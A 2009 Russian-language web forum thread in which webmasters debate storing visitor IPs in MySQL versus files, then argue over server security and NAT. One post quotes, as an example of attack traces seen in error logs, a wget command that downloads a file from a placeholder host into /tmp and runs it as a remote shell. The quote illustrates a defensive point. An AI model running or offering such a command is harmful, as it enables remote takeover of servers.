Реклама на сайте Advertise with us

Проверять наличие файла или писать всё в базу

Расширенный поиск по форуму
 
Новая тема Новая тема   
Автор
Поиск в теме:



С нами с 28.02.09
Сообщения: 22
Рейтинг: 25

Ссылка на сообщениеДобавлено: 03/04/09 в 10:35       Ответить с цитатойцитата 

мне нужно проверять был ли данный человек уже на сайте или нет, есть 2 варианта сделать это, первый использовать мускул и проверять
Код:
select count(*) from some_table where ip=HTTP_REFERRER

ну и если нет то добавлять его
или 2-й вариант который мне нравится больше создавать файл с хешем IP b проверять его наличие.
Код:
<?php (file_exist(md5(HTTP_REFERRER))) ?>

вопрос не решенный, что будет со временем тормозить больше, с увеличением данных для поиска, поиск по файловой системе или поиск в базе данных? Отпишитесь кто эксперементировал с такими вещами

0
 

programmer

С нами с 08.12.02
Сообщения: 7607
Рейтинг: 5752

Ссылка на сообщениеДобавлено: 03/04/09 в 10:45       Ответить с цитатойцитата 

принято ставить куку обычно.
и сравнивать ее, бо под одной айпишкой целая толпа сидеть может.
по поводу тормозов, я пишу в базу, в файл по некоторым причинам мне не понравилось.
статистика работает почти месяц, полет нормальный, посещаемость от 10к в сутки

update: не понравилось писать в файл не из-за размеров или одновременных обращений, а в основном из-за того что в базе намного проще делать выборки по разным условиям. Т е мне нужны сводные таблицы по реферерам, по дневным посещениям, по посещениям страниц одного вида и т д.

Последний раз редактировалось: Sterx (03/04/09 в 10:50), всего редактировалось 1 раз

крипта на ByBit

0
 



С нами с 24.10.04
Сообщения: 18881
Рейтинг: 9010


Передовик Master-X (16.03.2006) Передовик Master-X (01.04.2006) Передовик Master-X (16.04.2006) Передовик Master-X (01.05.2006) Передовик Master-X (01.11.2006) Ветеран трепа Master-X ()
Ссылка на сообщениеДобавлено: 03/04/09 в 10:45       Ответить с цитатойцитата 

непонятно...
HTTP_REFERRER - это не данный человек, а откуда он пришел на сайт
и почему нельзя использовать просто куки?

0
 



С нами с 28.02.09
Сообщения: 22
Рейтинг: 25

Ссылка на сообщениеДобавлено: 03/04/09 в 12:09       Ответить с цитатойцитата 

Цитата:
и почему нельзя использовать просто куки?

технические нюансы

0
 



С нами с 24.10.04
Сообщения: 18881
Рейтинг: 9010


Передовик Master-X (16.03.2006) Передовик Master-X (01.04.2006) Передовик Master-X (16.04.2006) Передовик Master-X (01.05.2006) Передовик Master-X (01.11.2006) Ветеран трепа Master-X ()
Ссылка на сообщениеДобавлено: 03/04/09 в 12:11       Ответить с цитатойцитата 

тогда лучше использовать мускул, ибо при кол-ве файлов в одном месте >2k система начинает тормозить

0
 

Чингачгук, вождь красноглазых

С нами с 14.05.04
Сообщения: 4744
Рейтинг: 1824

Ссылка на сообщениеДобавлено: 03/04/09 в 14:56       Ответить с цитатойцитата 

1. Не HTTP_REFERRER, а REMOTE_ADDR
2. База быстрее.
3. Для большей лучшести сделать IP первичным ключом формата INT, первым делом преобразовывать REMOTE_ADDR в вид integer (поскольку реально это 4 шестнадцатиричных значения, дело 1 split + арифметики) и потом уже select'ить и insert'ить.

0
 

programmer

С нами с 08.12.02
Сообщения: 7607
Рейтинг: 5752

Ссылка на сообщениеДобавлено: 03/04/09 в 15:18       Ответить с цитатойцитата 

щас придет Stek и скажет , что база фигня, а файлы рулят.

крипта на ByBit

0
 



С нами с 24.10.04
Сообщения: 18881
Рейтинг: 9010


Передовик Master-X (16.03.2006) Передовик Master-X (01.04.2006) Передовик Master-X (16.04.2006) Передовик Master-X (01.05.2006) Передовик Master-X (01.11.2006) Ветеран трепа Master-X ()
Ссылка на сообщениеДобавлено: 03/04/09 в 15:20       Ответить с цитатойцитата 

Sterx писал:
щас придет Stek и скажет , что база фигня, а файлы рулят.


не согласен, смотря для каких задач и целей

0
 

Чингачгук, вождь красноглазых

С нами с 14.05.04
Сообщения: 4744
Рейтинг: 1824

Ссылка на сообщениеДобавлено: 03/04/09 в 15:39       Ответить с цитатойцитата 

Sterx писал:
щас придет Stek и скажет , что база фигня, а файлы рулят.


- Не люблю я собак.. шерсть эта, запах...
- Да вы их просто готовить не умеете.

0
 



С нами с 27.01.03
Сообщения: 156
Рейтинг: 187

Ссылка на сообщениеДобавлено: 04/04/09 в 05:04       Ответить с цитатойцитата 

Dr.Syshalt писал:
3. Для большей лучшести сделать IP первичным ключом формата INT, первым делом преобразовывать REMOTE_ADDR в вид integer (поскольку реально это 4 шестнадцатиричных значения, дело 1 split + арифметики) и потом уже select'ить и insert'ить.


+1 за такое решение

p.s. ну и чтобы без сплита и арифметики - ip2long(), бо топикстартер уже на пхп ориентирован.

0
 

php

С нами с 09.10.06
Сообщения: 3706
Рейтинг: 2410


Передовик Master-X (16.01.2010)
Ссылка на сообщениеДобавлено: 04/04/09 в 07:54       Ответить с цитатойцитата 

Dr.Syshalt: каким образом ты собрался по ip проверить? щас везде NAT понатыкан. по сабжу с файлами будет работать быстрее и защищеннее (с одной стороны)

IPhosters.com - любые решения для Вас (виртуалы от $4.99, vps от $11.99, дедики от $95)

0
 

programmer

С нами с 08.12.02
Сообщения: 7607
Рейтинг: 5752

Ссылка на сообщениеДобавлено: 04/04/09 в 08:08       Ответить с цитатойцитата 

Cynic писал:
+1 за такое решение

p.s. ну и чтобы без сплита и арифметики - ip2long(), бо топикстартер уже на пхп ориентирован.

Код:
insert ...... ip=INET_ATON('".$_SERVER['REMOTE_ADDR']."'

крипта на ByBit

0
 



С нами с 03.02.09
Сообщения: 139
Рейтинг: 235

Ссылка на сообщениеДобавлено: 04/04/09 в 09:21       Ответить с цитатойцитата 

_s_[sov] писал:
Dr.Syshalt: каким образом ты собрался по ip проверить? щас везде NAT понатыкан. по сабжу с файлами будет работать быстрее и защищеннее (с одной стороны)

Пожалуйста, аргументируй хоть как-нибудь почему файлы будут работать быстрее реляционной базы данных с первичным индексом по IP и типом данных для него INT(10) UNSIGNED?

0
 

Чингачгук, вождь красноглазых

С нами с 14.05.04
Сообщения: 4744
Рейтинг: 1824

Ссылка на сообщениеДобавлено: 04/04/09 в 14:22       Ответить с цитатойцитата 

_s_[sov] писал:
Dr.Syshalt: каким образом ты собрался по ip проверить? щас везде NAT понатыкан.


Где "везде"? Организации - да. Еще GPRS с мобильников - да. А так большинство провайдеров, сколько я видел, честный IP выдают.
И больше как-то без вариантов - либо кука, либо IP. Даже хэш из IP + User Agent не подходит, скорее всего - например, если там flash player имеется, его обращение будет засчитано как новый юзер. Хотя тоже вариант.

_s_[sov] писал:
по сабжу с файлами будет работать быстрее и защищеннее (с одной стороны)


Бабушки во дворе так говорят?
Наверное, разработчики баз данных последние десятки лет просто трахали мозги человечеству - и тут пришел Он и всем объяснил, что держать тысячи записей в файлах куда эффективнее. icon_rolleyes.gif

0
 

php

С нами с 09.10.06
Сообщения: 3706
Рейтинг: 2410


Передовик Master-X (16.01.2010)
Ссылка на сообщениеДобавлено: 04/04/09 в 14:36       Ответить с цитатойцитата 

iRoot, Dr.Syshalt mysql требует отдельные сервер,порт под свои задачи. если хранить инфу в файлах то во первых безопаснее (думаю не стоит объяснять почему) во вторых скорость обращения будет выше чем к mysql. не зря же файловая система гугла построена на файлах(если интернет не пиздит). конешно я всегда был за использование БД, но в некоторых случаях оно реально ни к чему.

Dr.Syshalt да епт даже наш провайдер и то нат юзает. провайдер конешно хуйня но вроде крупный.

IPhosters.com - любые решения для Вас (виртуалы от $4.99, vps от $11.99, дедики от $95)

0
 

Чингачгук, вождь красноглазых

С нами с 14.05.04
Сообщения: 4744
Рейтинг: 1824

Ссылка на сообщениеДобавлено: 04/04/09 в 15:00       Ответить с цитатойцитата 

_s_[sov] писал:
iRoot, Dr.Syshalt mysql требует отдельные сервер,порт под свои задачи.


Отдельный сервер? Передайте траву, плиз. Тоже хочу.
И что плохого в "отдельном порте"? Это что, он "тормозит" типа? smail101.gif

_s_[sov] писал:

если хранить инфу в файлах то во первых безопаснее (думаю не стоит объяснять почему)


Я думаю, стОит. И поподробнее, плиз

_s_[sov] писал:

Dr.Syshaltво вторых скорость обращения будет выше чем к mysql.

Я думаю, для многих это будет сюрпризом. Есть какие-то соображения о том, почему? Или представления о том, как эта самая файловая система организована, что она "быстрее"?

_s_[sov] писал:

не зря же файловая система гугла построена на файлах(если интернет не пиздит). конешно я всегда был за использование БД, но в некоторых случаях оно реально ни к чему.


Угу. На файлах. Как именно - можно ознакомиться, поставив себе Google Desktop, который создает на вашем диске два-три огромных файла, которые, на самом деле, кастомная, оптимизированная под их запросы, база данных.

_s_[sov] писал:

Dr.Syshalt да епт даже наш провайдер и то нат юзает. провайдер конешно хуйня но вроде крупный.


Домашняя сеть, 5 домов в квартале обслуживает, поди?
Хоть один крупный провайдер размера stream, wplus или ЮТК использует NAT?

Говновайдеров можно и считать за 1 IP, поскольку вероятность того, что зайдут двое с такого, стремится к нулю.

0
 

php

С нами с 09.10.06
Сообщения: 3706
Рейтинг: 2410


Передовик Master-X (16.01.2010)
Ссылка на сообщениеДобавлено: 04/04/09 в 15:23       Ответить с цитатойцитата 

Dr.Syshalt SMOKE smail101.gif
по сабжу, велкам айсикью, растолкую все в деталях

IPhosters.com - любые решения для Вас (виртуалы от $4.99, vps от $11.99, дедики от $95)

0
 

Чингачгук, вождь красноглазых

С нами с 14.05.04
Сообщения: 4744
Рейтинг: 1824

Ссылка на сообщениеДобавлено: 04/04/09 в 16:55       Ответить с цитатойцитата 

_s_[sov] писал:
Dr.Syshalt SMOKE smail101.gif
по сабжу, велкам айсикью, растолкую все в деталях


Нет уж, начал - так публично и скажи. Нах мне надо, в ICQ "за деталями" к откровенно безграмотному.

0
 

php

С нами с 09.10.06
Сообщения: 3706
Рейтинг: 2410


Передовик Master-X (16.01.2010)
Ссылка на сообщениеДобавлено: 04/04/09 в 17:22       Ответить с цитатойцитата 

Dr.Syshalt ну так и быть уж.
mysql требует отдельные сервер,порт под свои задачи.
причем здесь тормозит или нет, лишний порт - лишняя дыра в безопасности

если хранить инфу в файлах то во первых безопаснее (думаю не стоит объяснять почему)
вапще та если делать на файлах то защита будет на уровне файловой системы а не БД

во вторых скорость обращения будет выше чем к mysql.
смотря как обращаться к БД. если по ID то согласен что файлы проигрывают а если поиск то уж извольте.

не зря же файловая система гугла построена на файлах(если интернет не пиздит). конешно я всегда был за использование БД, но в некоторых случаях оно реально ни к чему.
ну хуй его знает, сказал относительно сведений интернета. тут не буду в дискусию впадать

да епт даже наш провайдер и то нат юзает. провайдер конешно хуйня но вроде крупный.
да бля, ВолгаТелеком на 5 компов прям ращитана, ага..

IPhosters.com - любые решения для Вас (виртуалы от $4.99, vps от $11.99, дедики от $95)

0
 

programmer

С нами с 08.12.02
Сообщения: 7607
Рейтинг: 5752

Ссылка на сообщениеДобавлено: 04/04/09 в 17:36       Ответить с цитатойцитата 

smail114.gif

крипта на ByBit

0
 

Чингачгук, вождь красноглазых

С нами с 14.05.04
Сообщения: 4744
Рейтинг: 1824

Ссылка на сообщениеДобавлено: 04/04/09 в 17:57       Ответить с цитатойцитата 

_s_[sov] писал:
Dr.Syshalt ну так и быть уж.
mysql требует отдельные сервер,порт под свои задачи.
причем здесь тормозит или нет, лишний порт - лишняя дыра в безопасности


Во-первых, порт можно открывать только на 127.0.0.1. Можно вообще его не открывать, а пользоваться только unix sockets. Сюрприз? Все дело - вопрос пары строк в my.cnf (или my.ini на винде). И вообще, любой грамотный админ фаерволит сервер, оставляя только те порты, которые можно показать наружу. Чтобы хотя бы защититься от закинутого на сервер php shell какого-нибудь, даже если пробьют.

Я же говорил - готовить не умеете...

_s_[sov] писал:

если хранить инфу в файлах то во первых безопаснее (думаю не стоит объяснять почему)
вапще та если делать на файлах то защита будет на уровне файловой системы а не БД


И что это значит? Не то ли, что любой апачевский процесс может читать и писать туда же, раз один сподобился?
Ахуеть, безопасность... Строки в error_log типа вот такой
Код:

wget -O /tmp/myfile.txt http://somesite.com/myfile.txt && mv /tmp/myfile.txt /tmp/myremoteshell.pl && /tmp/myremoteshell.pl &


...не проходилось видеть? Это только по зелености, значит. Вот она, "безопасность файловой системы". По хорошему, веб сервер должен вообще не иметь права писать никуда, вот тогда это - безопасность. В крайнем случае - ломанут базу, но код свой не запустят. Поскольку, если код запустили, то тут же и база ушла.

_s_[sov] писал:

во вторых скорость обращения будет выше чем к mysql.
смотря как обращаться к БД. если по ID то согласен что файлы проигрывают а если поиск то уж извольте.


В смысле? grep рулит перед SELECT, что ли? icon_lol.gif

_s_[sov] писал:

да епт даже наш провайдер и то нат юзает. провайдер конешно хуйня но вроде крупный.
да бля, ВолгаТелеком на 5 компов прям ращитана, ага..


На 10, значит. Не видел и не слышал, вот поверь.
Если речь тут идет о какой серьезной защите - то разумеется, просто IP ничего не решит. Или если речь идет о данных, которые валидны более суток. Но на сессию, был/не был, для статистики - хватит за глаза.

0
 

php

С нами с 09.10.06
Сообщения: 3706
Рейтинг: 2410


Передовик Master-X (16.01.2010)
Ссылка на сообщениеДобавлено: 04/04/09 в 18:41       Ответить с цитатойцитата 

Цитата:
Во-первых, порт можно открывать только на 127.0.0.1. Можно вообще его не открывать, а пользоваться только unix sockets. Сюрприз? Все дело - вопрос пары строк в my.cnf (или my.ini на винде). И вообще, любой грамотный админ фаерволит сервер, оставляя только те порты, которые можно показать наружу. Чтобы хотя бы защититься от закинутого на сервер php shell какого-нибудь, даже если пробьют.

Я же говорил - готовить не умеете...

ой не смеши, а?

Цитата:
И что это значит? Не то ли, что любой апачевский процесс может читать и писать туда же, раз один сподобился?
Ахуеть, безопасность... Строки в error_log типа вот такой Код:

если используется что то дополнительно ето оно всегда имеет ошибку и нехуй тут пиздеть.

Цитата:
В смысле? grep рулит перед SELECT, что ли?

поиск у тебя селектом? icon_lol.gif

Цитата:
На 10, значит. Не видел и не слышал, вот поверь.
Если речь тут идет о какой серьезной защите - то разумеется, просто IP ничего не решит. Или если речь идет о данных, которые валидны более суток. Но на сессию, был/не был, для статистики - хватит за глаза.

http://www.vt.ru/

IPhosters.com - любые решения для Вас (виртуалы от $4.99, vps от $11.99, дедики от $95)

0
 

Чингачгук, вождь красноглазых

С нами с 14.05.04
Сообщения: 4744
Рейтинг: 1824

Ссылка на сообщениеДобавлено: 04/04/09 в 18:51       Ответить с цитатойцитата 

_s_[sov] писал:
ой не смеши, а?


А что, найди порт MySQL на hardtoon.com
Найдешь - получишь конфетку. Он там есть.


_s_[sov] писал:

если используется что то дополнительно ето оно всегда имеет ошибку и нехуй тут пиздеть.


Ты поэтому мозги не используешь, чтобы не взломали? Отключил для безопасности?

_s_[sov] писал:

поиск у тебя селектом? icon_lol.gif


Смотря какой. Можно SELECT, можно Full Text Search встроенным средствами MySQL (не знал, что там такой есть?) или Apache Lucene. В зависимости от запросов.

0
 

php

С нами с 09.10.06
Сообщения: 3706
Рейтинг: 2410


Передовик Master-X (16.01.2010)
Ссылка на сообщениеДобавлено: 04/04/09 в 18:57       Ответить с цитатойцитата 

Цитата:
А что, найди порт MySQL на hardtoon.com
Найдешь - получишь конфетку. Он там есть.

nmap найдет если постараться поискать - нах?

Цитата:
Ты поэтому мозги не используешь, чтобы не взломали? Отключил для безопасности?

придумал неломаемое приложение? ты гений бро!

Цитата:
Смотря какой. Можно SELECT, можно Full Text Search встроенным средствами MySQL (не знал, что там такой есть?) или Apache Lucene. В зависимости от запросов.

я думал
Код:
LIKE

IPhosters.com - любые решения для Вас (виртуалы от $4.99, vps от $11.99, дедики от $95)

0
 

Чингачгук, вождь красноглазых

С нами с 14.05.04
Сообщения: 4744
Рейтинг: 1824

Ссылка на сообщениеДобавлено: 04/04/09 в 19:12       Ответить с цитатойцитата 

_s_[sov] писал:
nmap найдет если постараться поискать - нах?


Вот и поискал бы.

Там вообще два порта - 80 и 443. Я думаю, даже ты должен знать, для чего они. Больше нету. Вообще. Даже ssh не увидишь. И уж тем более, MYSQL, который слушает только на 127.0.0.1, а еще прикрыт фаерволом. Но сервер настроен так, что сломать его не очень реально, даже если фаервол вдруг упадет.
Если ты, запустив mysql со значениями по умолчанию, оставляешь его слушать на открытом всему миру порте, если не тьюнишь таблицы и сам mysqld, который, вообще говоря, очень хорошо тьюнится.. чем это моя ошибка?

_s_[sov] писал:

придумал неломаемое приложение? ты гений бро!


"Ломучесть" приложения или сайта зависит от одного - от квалификации того, кто писал, секьюрил и пр. А если все, что ты знаешь - это страшное слово nmap и "открытый порт" - ну увы.

_s_[sov] писал:

я думал
Код:
LIKE


Ну ты уж извини, но такие вот, как ты, так и пишут. LIKE или RLIKE. А вообще-то уже давно немало средств, которые поиск по базе могут вести очень быстро, любые строки ищут куда быстрее, на порядки.

0
 
Новая тема Новая тема   

Текстовая реклама в форме ответа
Заголовок и до четырех строчек текста
Длина текста до 350 символов
Купить рекламу в этом месте!


Перейти:  



Спонсор раздела Стань спонсором этого раздела!

Реклама на сайте Advertise with us

Опросы

Рецепт новогоднего блюда 2022



Обсудите на форуме обсудить (11)
все опросы »